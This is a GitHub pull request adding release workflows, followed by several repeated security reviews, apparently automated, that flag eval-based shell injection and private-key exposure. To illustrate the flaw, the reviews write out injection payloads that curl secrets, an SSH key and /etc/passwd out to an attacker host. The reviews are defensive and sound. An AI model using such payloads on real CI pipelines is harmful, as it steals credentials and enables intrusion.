Skip to content

Implement Automatic Diagnostic Release#854

Open
nesitor wants to merge 2 commits intomainfrom
andres-feature-implement_release_workflows
Open

Implement Automatic Diagnostic Release#854
nesitor wants to merge 2 commits intomainfrom
andres-feature-implement_release_workflows

Conversation

@nesitor
Copy link
Copy Markdown
Member

@nesitor nesitor commented Jan 7, 2026

Feature: Implement 2 new release workflows that will allow us to release new runtimes and diagnostic VMs easily.

Self proofreading checklist

  • The new code clear, easy to read and well commented.
  • New code does not duplicate the functions of builtin or popular libraries.
  • An LLM was used to review the new code and look for simplifications.
  • New classes and functions contain docstrings explaining what they provide.
  • All new code is covered by relevant tests.
  • Documentation has been updated regarding these changes.
  • Dependencies update in the project.toml have been mirrored in the Debian package build script packaging/Makefile

Changes

Added 2 new manual workflows and refactored one to allow automatic release of runtimes and diagnostic VMs

How to test

Execute the workflow manually and ensure that it works.

Notes

For now it uses a secret variable for the upload, but this will be improved to use multisign or other solution.

@nesitor nesitor requested a review from odesenfans January 7, 2026 15:51
@nesitor nesitor self-assigned this Jan 7, 2026
@nesitor nesitor changed the title Implement automatic release Implement Automatic Disgnostic Release Jan 7, 2026
@nesitor nesitor changed the title Implement Automatic Disgnostic Release Implement Automatic Diagnostic Release Jan 7, 2026
@nesitor nesitor force-pushed the andres-feature-implement_release_workflows branch from b95f127 to a23441f Compare January 7, 2026 18:48
@codecov
Copy link
Copy Markdown

codecov Bot commented Jan 14, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 66.62%. Comparing base (7a0bff1) to head (1f6e332).

Additional details and impacted files
@@           Coverage Diff           @@
##             main     #854   +/-   ##
=======================================
  Coverage   66.62%   66.62%           
=======================================
  Files          92       92           
  Lines        9094     9094           
  Branches      793      793           
=======================================
  Hits         6059     6059           
  Misses       2797     2797           
  Partials      238      238           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@aliel aliel force-pushed the andres-feature-implement_release_workflows branch from 28ce0e5 to 1f6e332 Compare February 18, 2026 10:16
Copy link
Copy Markdown

@foxpatch-aleph foxpatch-aleph left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The workflows introduce two genuine security issues that need to be fixed before merging. The most critical is a shell injection vulnerability in release-diagnostic-vm.yml where user-controlled workflow inputs are interpolated into a string that is then passed to eval, allowing arbitrary command execution. Additionally, the private key is stored in a plain shell variable and passed as a CLI argument, which risks exposure in process listings and debug traces. There are also a couple of logic and usability issues worth addressing.

.github/workflows/release-diagnostic-vm.yml (line 57): Security: Shell injection via eval.

${{ inputs.channel }} and ${{ inputs.runtime_hash }} are GitHub Actions expressions that are expanded before the shell sees the script, so their values are written literally into the shell source. A malicious input like aleph-vm-ci --runtime x; curl https://attacker.com/?k=$PRIVATE_KEY would be executed verbatim.

Additionally, $PRIVATE_KEY is interpolated into the CMD string, so the secret ends up in a plain shell variable — if the runner has debug logging enabled (ACTIONS_STEP_DEBUG=true), it will be printed.

Replace the eval-based approach with a conditional argument list:

- name: Upload diagnostic VM to ALEPH network
  env:
    PRIVATE_KEY: ${{ secrets.ALEPH_WALLET_PRIVATE_KEY }}
    CHANNEL: ${{ inputs.channel }}
    RUNTIME_HASH: ${{ inputs.runtime_hash }}
  run: |
    ARGS=(program upload ./artifacts/example_fastapi main:app
          --private-key "$PRIVATE_KEY"
          --channel "$CHANNEL"
          --print-messages)
    if [ -n "$RUNTIME_HASH" ]; then
      ARGS+=(--runtime "$RUNTIME_HASH")
    fi
    aleph "${ARGS[@]}"

This avoids eval entirely and keeps the secret inside the environment variable where GitHub's masking applies.

.github/workflows/release-runtime.yml (line 55): Security: Private key exposed as a CLI argument.

--private-key $PRIVATE_KEY passes the secret as a positional argument on the command line, making it visible in /proc/<pid>/cmdline and potentially in CI log dumps if set -x is active. Prefer reading from the environment variable if aleph-client supports it (e.g. ALEPH_PRIVATE_KEY or similar), or at minimum keep the variable unexpanded until the final command — never inline it into an echoed or logged string.

.github/workflows/release-diagnostic-vm.yml (line 39): Logic: Pointless zip → unzip round-trip.

The workflow zips examples/example_fastapi into diagnostic_vm.zip, then immediately unzips it into ../artifacts/, and then uploads from ./artifacts/example_fastapi. The zip/unzip adds no value here; the directory is simply copied. Either upload directly from examples/example_fastapi, or document why the archive step is necessary.

.github/workflows/release-runtime.yml (line 60): Usability: The uploaded file hash/CID is never captured or surfaced.

After aleph file upload, the ALEPH network returns a content hash that is the canonical identifier for the runtime. Without capturing and displaying this hash in the step summary, operators have no way to know which on-chain object was just published — making it impossible to reference the runtime in subsequent deployments (e.g. as --runtime <hash> in the diagnostic VM workflow). Add something like:

HASH=$(aleph file upload ... | grep -oP '(?<=hash: )\S+')
echo "- **Runtime hash**: \`$HASH\`" >> $GITHUB_STEP_SUMMARY

(Adjust the grep pattern to match the actual aleph-client output format.)

.github/workflows/release-runtime.yml (line 48): Code quality: aleph-client installed without a pinned version.

pip install aleph-client will install whatever the latest release is at the time the workflow runs, which can silently break the workflow when the client's CLI interface changes. Pin to a specific version (e.g. aleph-client==1.x.y) or use a requirements.txt to get reproducible runs.

.github/workflows/release-diagnostic-vm.yml (line 43): Same unpinned pip install aleph-client concern as in release-runtime.yml — pin the version.

Copy link
Copy Markdown

@foxpatch-aleph foxpatch-aleph left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The PR adds useful reusable composite action and release workflows, but has two genuine security issues that need fixing: GitHub Actions expression injection via unescaped ${{ inputs.* }} values interpolated directly into bash, and the private key being passed as a CLI argument (visible in process listings). There are also logic gaps: the description input in the runtime workflow is never passed to the upload command, and the zip-then-unzip cycle in the diagnostic workflow is unnecessary. aleph-client is installed without a version pin, risking non-reproducible builds.

.github/workflows/release-diagnostic-vm.yml (line 54): Security: Expression injection. ${{ inputs.channel }} and ${{ inputs.runtime_hash }} are interpolated by GitHub Actions before the shell runs, so a value like aleph-vm-ci; curl attacker.com/$(cat ~/.ssh/id_rsa) would execute arbitrary commands. Even though this is workflow_dispatch (reducing surface), it's still best practice to pass inputs through environment variables and read them in the shell:

env:
  PRIVATE_KEY: ${{ secrets.ALEPH_WALLET_PRIVATE_KEY }}
  CHANNEL: ${{ inputs.channel }}
  RUNTIME_HASH: ${{ inputs.runtime_hash }}
run: |
  CMD=(aleph program upload ./artifacts/example_fastapi main:app \
    --private-key "$PRIVATE_KEY" \
    --channel "$CHANNEL" \
    --print-messages)
  if [ -n "$RUNTIME_HASH" ]; then
    CMD+=(--runtime "$RUNTIME_HASH")
  fi
  "${CMD[@]}"

This also eliminates the eval on the next lines, which is dangerous with any user-controlled data.

.github/workflows/release-runtime.yml (line 54): Security: Expression injection. Same issue — ${{ inputs.os }} and ${{ inputs.channel }} are interpolated before the shell runs. Pass them via env: instead:

env:
  PRIVATE_KEY: ${{ secrets.ALEPH_WALLET_PRIVATE_KEY }}
  OS: ${{ inputs.os }}
  CHANNEL: ${{ inputs.channel }}
run: |
  aleph file upload "runtimes/aleph-${OS}-python/rootfs.squashfs" \
    --private-key "$PRIVATE_KEY" \
    --channel "$CHANNEL"

.github/workflows/release-diagnostic-vm.yml (line 54): Security: Private key visible in process list. Passing --private-key $PRIVATE_KEY as a CLI argument exposes the key to anyone who can run ps aux on the runner at that moment. Check if aleph-client supports reading the key from a file (e.g. --private-key-file) or from a well-known env var instead.

.github/workflows/release-runtime.yml (line 60): Logic: description input is never used. The description input is declared (line 25), shown in the job summary, but never passed to aleph file upload. If the aleph-client supports a description/metadata flag, it should be forwarded here. Otherwise, remove the input to avoid misleading users.

.github/workflows/release-diagnostic-vm.yml (line 37): Unnecessary zip/unzip cycle. The workflow zips examples/example_fastapidiagnostic_vm.zip, then immediately unzips it to artifacts/example_fastapi, then deploys from artifacts/example_fastapi. The zip/unzip roundtrip adds steps without benefit — just deploy from examples/example_fastapi directly. The zip is still uploaded as an artifact at the end, which is fine, but it doesn't need to be the intermediate transport.

.github/workflows/release-diagnostic-vm.yml (line 45): Unpinned dependency. pip install aleph-client installs the latest version at run time, making builds non-reproducible and vulnerable to a supply chain issue if the package is compromised. Pin to a known-good version: pip install aleph-client==x.y.z.

.github/workflows/release-runtime.yml (line 47): Same unpinned pip install aleph-client concern as the diagnostic workflow.

.github/actions/build-rootfs/action.yml (line 15): Minor: the artifact-name output simply re-emits the same-named input (value: ${{ inputs.artifact-name }}). This output is never more informative than the input itself, so callers have no reason to read it. Consider removing it to keep the interface clean.

Copy link
Copy Markdown

@foxpatch-aleph foxpatch-aleph left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The refactoring of the build-rootfs step into a reusable composite action is clean and well-structured. However, the release-diagnostic-vm.yml workflow contains a genuine shell injection vulnerability via eval combined with unescaped GitHub Actions input interpolation. There are also minor issues: an unnecessary zip/unzip cycle, no capture of the uploaded runtime hash, and unpinned aleph-client dependency.

.github/workflows/release-diagnostic-vm.yml (line 56): Security: Shell injection via eval with user-controlled inputs.

${{ inputs.channel }} and ${{ inputs.runtime_hash }} are interpolated by the GitHub Actions template engine before the shell runs, so a value like aleph-vm-ci --foo $(malicious_command) or ; cat /etc/passwd would be executed literally by eval $CMD. Even though this is workflow_dispatch, anyone with repo write access (or a compromised branch) can supply arbitrary input.

Replace the eval-based approach with a direct conditional:

- name: Upload diagnostic VM to ALEPH network
  env:
    PRIVATE_KEY: ${{ secrets.ALEPH_WALLET_PRIVATE_KEY }}
    CHANNEL: ${{ inputs.channel }}
    RUNTIME_HASH: ${{ inputs.runtime_hash }}
  run: |
    ARGS=(program upload ./artifacts/example_fastapi main:app \
      --private-key "$PRIVATE_KEY" \
      --channel "$CHANNEL" \
      --print-messages)

    if [ -n "$RUNTIME_HASH" ]; then
      ARGS+=(--runtime "$RUNTIME_HASH")
    fi

    echo "Deploying diagnostic VM..."
    aleph "${ARGS[@]}"

Passing inputs via environment variables (not template expressions) and using a bash array prevents injection entirely.

.github/workflows/release-runtime.yml (line 57): Security (minor): ${{ inputs.channel }} interpolated directly into the shell run block.

While inputs.os is safely constrained to a choice, inputs.channel is a free-form string and is interpolated directly:

aleph file upload ... --channel ${{ inputs.channel }}

A value like aleph-vm-ci --some-flag $(evil) would be word-split by the shell. Pass it via an env var instead:

env:
  PRIVATE_KEY: ${{ secrets.ALEPH_WALLET_PRIVATE_KEY }}
  CHANNEL: ${{ inputs.channel }}
run: |
  aleph file upload runtimes/aleph-${{ inputs.os }}-python/rootfs.squashfs \
    --private-key "$PRIVATE_KEY" \
    --channel "$CHANNEL"

.github/workflows/release-diagnostic-vm.yml (line 38): Unnecessary zip/unzip cycle.

The workflow zips example_fastapi into diagnostic_vm.zip (step at line 36), then immediately unzips it to ../artifacts (step at line 45), then uploads from ./artifacts/example_fastapi. This roundtrip adds latency and complexity for no benefit.

Either upload directly from examples/example_fastapi without the zip step, or—if the zip is needed as an artifact—skip the unzip and point aleph program upload at the zip archive directly (if the CLI supports it).

.github/workflows/release-runtime.yml (line 60): Missing runtime hash in output.

After aleph file upload, the CLI presumably prints the item hash/CID of the uploaded file. This hash is critical—it's what operators need to configure as their runtime. The step summary logs the OS and channel but not the hash. Consider capturing it:

HASH=$(aleph file upload ... | tee /dev/stderr | grep -oP 'hash: \K\S+')
echo "- **Hash**: $HASH" >> $GITHUB_STEP_SUMMARY

(Exact parsing depends on aleph-client output format, but the hash should be surfaced somewhere.)

.github/workflows/release-runtime.yml (line 52): Unpinned aleph-client dependency.

pip install aleph-client installs the latest available version at workflow runtime. For a security-sensitive workflow (handling a private key and publishing to a network), a breaking or compromised release of aleph-client would silently affect all future runs. Pin to a known-good version:

run: pip install aleph-client==X.Y.Z

.github/workflows/release-diagnostic-vm.yml (line 57): Private key passed as a CLI argument.

--private-key $PRIVATE_KEY passes the key as a command-line argument, which can appear in process listings (ps aux) on the runner. If aleph-client supports reading the key from an environment variable or a file, prefer that approach. Check the CLI docs for ALEPH_PRIVATE_KEY or similar env var support.

Copy link
Copy Markdown

@foxpatch-aleph foxpatch-aleph left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The PR cleanly extracts the rootfs build steps into a reusable composite action and the refactor of the existing workflow is correct. However, release-diagnostic-vm.yml contains a genuine security vulnerability: free-form workflow_dispatch inputs (channel, runtime_hash) are interpolated directly into a shell string that is then passed to eval, creating a command-injection vector for anyone with write access. Additionally, the zip-then-immediately-unzip pattern is unnecessary, and aleph-client is installed without a version pin, risking silent breakage.

.github/workflows/release-diagnostic-vm.yml (line 58): Security: command injection via eval with user-controlled inputs.

The workflow interpolates free-form inputs.channel and inputs.runtime_hash directly into a shell string and executes it with eval. Any user with write access (or who can trigger workflow_dispatch) can inject arbitrary shell commands.

Prefer passing inputs as environment variables and avoid eval entirely:

- name: Upload diagnostic VM to ALEPH network
  env:
    PRIVATE_KEY: ${{ secrets.ALEPH_WALLET_PRIVATE_KEY }}
    CHANNEL: ${{ inputs.channel }}
    RUNTIME_HASH: ${{ inputs.runtime_hash }}
  run: |
    ARGS=(./artifacts/example_fastapi main:app
          --private-key "$PRIVATE_KEY"
          --channel "$CHANNEL"
          --print-messages)
    if [ -n "$RUNTIME_HASH" ]; then
      ARGS+=(--runtime "$RUNTIME_HASH")
    fi
    aleph program upload "${ARGS[@]}"

This is the same pattern GitHub's own hardening guide recommends: never interpolate ${{ inputs.* }} into shell strings; always pass them through env vars.

.github/workflows/release-runtime.yml (line 58): Security: free-form inputs.channel interpolated directly into shell.

aleph file upload ... --channel ${{ inputs.channel }}

channel is a plain string input with no validation. Pass it via an environment variable instead:

env:
  PRIVATE_KEY: ${{ secrets.ALEPH_WALLET_PRIVATE_KEY }}
  CHANNEL: ${{ inputs.channel }}
run: |
  aleph file upload runtimes/aleph-${{ inputs.os }}-python/rootfs.squashfs \
    --private-key "$PRIVATE_KEY" \
    --channel "$CHANNEL"

inputs.os is safe here because it is a choice input constrained to debian-12.

.github/workflows/release-diagnostic-vm.yml (line 37): Unnecessary zip/unzip roundtrip.

The workflow zips examples/example_fastapiexamples/diagnostic_vm.zip, then immediately unzips it to artifacts/example_fastapi, and finally uploads ./artifacts/example_fastapi. The source directory is never modified, so both the "Build diagnostic VM package" and "Extract diagnostic VM" steps can be removed and the upload step can reference examples/example_fastapi directly. The zip is still saved as a release artifact at the end, so if you need it just create it once without the extract step.

.github/workflows/release-diagnostic-vm.yml (line 44): No version pin for aleph-client.

pip install aleph-client installs the latest release. A breaking change in the client CLI (flag renames, removed subcommands) will silently break this workflow. Pin a known-good version:

pip install aleph-client==1.x.y

Same applies to release-runtime.yml line 50.

.github/workflows/release-runtime.yml (line 63): Runtime hash/CID not captured or surfaced.

After uploading the squashfs, operators need the resulting ALEPH item hash to reference this runtime when deploying programs (e.g. as the --runtime flag in the diagnostic VM workflow). The aleph file upload command should print a hash; consider capturing and echoing it explicitly, and adding it to $GITHUB_STEP_SUMMARY alongside the other release metadata.

.github/workflows/release-runtime.yml (line 24): description input is not forwarded to the upload command.

The input is collected from the user and included in the step summary, but aleph file upload is invoked without it. If the CLI does not support a description flag this is expected, but then the input is misleading — either pass it to the CLI or remove it (or document that it is summary-only).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants